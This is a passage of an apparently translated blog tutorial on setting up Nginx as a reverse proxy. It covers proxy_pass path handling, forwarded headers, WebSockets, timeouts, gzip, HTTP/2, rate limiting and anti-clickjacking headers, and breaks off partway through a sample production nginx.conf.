&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Scenario B: No slash&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Critical Detail: The Slash (/) Ayr&amp;inodot;nt&amp;inodot;s&amp;inodot; in the proxy_pass Line! ⚠️&lt;/p&gt;
&lt;p&gt;If there is a &lt;code&gt;/&lt;/code&gt; at the end of the &lt;code&gt;proxy_pass&lt;/code&gt; line (Scenario A), Nginx crops the matching &lt;code&gt;/api/&lt;/code&gt; prefix, and the request &lt;code&gt;/api/users&lt;/code&gt; is forwarded to the application as &lt;code&gt;/users&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If there is no &lt;code&gt;/&lt;/code&gt; at the end (Scenario B), Nginx forwards the path exactly as it is without modifying it, and the request &lt;code&gt;/api/users&lt;/code&gt; goes to the application as &lt;code&gt;/api/users&lt;/code&gt;. This tiny character difference can cause your API routes to return 404!&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="i-forwarding-client-information-to-the-back"&gt;ℹ️ Forwarding Client Information to the Back&lt;a class="headerlink" href="#i-forwarding-client-information-to-the-back" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Since the application only talks to Nginx, by default it thinks all requests come from &lt;code&gt;127.0.0.1&lt;/code&gt;. This breaks logging and security checks. We must forward the real client information using headers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Real-IP&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="nv"&gt;$remote_addr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-For&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="nv"&gt;$proxy_add_x_forwarded_for&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Forwarded-Proto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$scheme&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Host&lt;/code&gt;: Forwards the original domain requested by the client.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Real-IP&lt;/code&gt;: Carries the direct IP address of the client.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-For&lt;/code&gt;: Carries the entire proxy IP chain the request passed through.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X-Forwarded-Proto&lt;/code&gt;: Informs the application whether the original request was HTTP or HTTPS.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="websocket-support"&gt;🔌 WebSocket Support&lt;a class="headerlink" href="#websocket-support" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Standard HTTP forwarding cannot carry WebSocket connections. For WebSocket handshakes, we must add upgrade headers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/ws/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_http_version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s"&gt;.1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Upgrade&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;$http_upgrade&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"upgrade"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="buffering-and-timeouts"&gt;🗄️ Buffering and Timeouts&lt;a class="headerlink" href="#buffering-and-timeouts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx pulls responses from the application into a buffer by default. While the application hands the response to Nginx in milliseconds and goes back to other tasks, Nginx drips this response to the client slowly.&lt;/p&gt;
&lt;p&gt;However, in cases requiring instant data streaming (like Server-Sent Events or instant chat lines), this buffering must be turned off:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/events/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_buffering&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Timeouts are critical for system stability:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Backend connection times&lt;/span&gt;
&lt;span class="k"&gt;proxy_connect_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;5s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;proxy_send_timeout&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;proxy_read_timeout&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s"&gt;60s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;# Client connection times&lt;/span&gt;
&lt;span class="k"&gt;client_header_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;client_body_timeout&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="s"&gt;10s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;keepalive_timeout&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;65s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;By keeping the &lt;code&gt;proxy_connect_timeout&lt;/code&gt; low (for example, 5 seconds), we can quickly return an error response (502) if an application crashes. (If you want to pull up your server's overall network performance and TCP limits even further, you can check out my post on &lt;a href="/en/linux-tcp-tuning-node-js-microservices/"&gt;Linux TCP Tuning and Kernel Settings for Node.js Microservices&lt;/a&gt;.)&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="http2-and-response-compression-gzip"&gt;🚀 HTTP/2 and Response Compression (gzip)&lt;a class="headerlink" href="#http2-and-response-compression-gzip" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The HTTP/2 protocol allows concurrent carriage of multiple requests over a single TCP connection. Enabling this on Nginx is just a single line:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;http2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We can also reduce network load by compressing text-based responses like HTML, CSS, JS, and JSON:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;gzip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/javascript&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;image/svg+xml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_min_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;gzip_comp_level&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="security-and-rate-limiting"&gt;🛡️ Security and Rate Limiting&lt;a class="headerlink" href="#security-and-rate-limiting" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To prevent abuse of application routes (especially heavy routes like login or search), we use Nginx's rate limiting feature:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;limit_req_zone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$binary_remote_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api:10m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rate=10r/s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;limit_req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;burst=20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;nodelay&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;limit_req_status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Here, we set a limit of 10 requests per second based on the user's IP, and allowed a tolerance up to 20 requests for temporary bursts. Clients exceeding the limit will directly receive a &lt;code&gt;429 Too Many Requests&lt;/code&gt; status code.&lt;/p&gt;
&lt;p&gt;Hiding the Nginx version number also strengthens our hand in security scans:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server_tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To prevent your site from being opened inside iframe elements on other sites (Clickjacking attacks), we must add the following headers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"SAMEORIGIN"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"frame-ancestors&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'self'"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="production-ready-example-nginx-configuration"&gt;🛠️ Production-Ready Example Nginx Configuration&lt;a class="headerlink" href="#production-ready-example-nginx-configuration" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A complete &lt;code&gt;nginx.conf&lt;/code&gt; template containing all these features we explained, ready for production:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;worker_processes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;auto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;worker_rlimit_nofile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;events&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;worker_connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16384&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;http&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_tokens&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;off&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip_types&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;text/css&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/javascript&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;application/json&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;image/svg+xml&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;gzip_min_length&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;limit_req_zone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$binary_remote_addr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api:10m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;rate=10r/s&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;upstream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;app&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3001&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# Second server for load balancing&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Redirect HTTP to HTTPS&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;301&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;https://&lt;/span&gt;&lt;span class="nv"&gt;$host$request_uri&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;# Main HTTPS Server&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;http2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/fullchain.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/privkey.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;client_max_body_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;25m&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"SAMEORIGIN"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;add_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Content-Security-Policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"frame-ancestors&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;'self'"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;always&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# Serve static files directly from disk&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/static/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/www/app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;expires&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;30d&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# API requests go to proxy with rate limit&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;limit_req&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;zone=api&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;burst=20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;nodelay&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;limit_req_status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kn"&gt;proxy_set_header&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
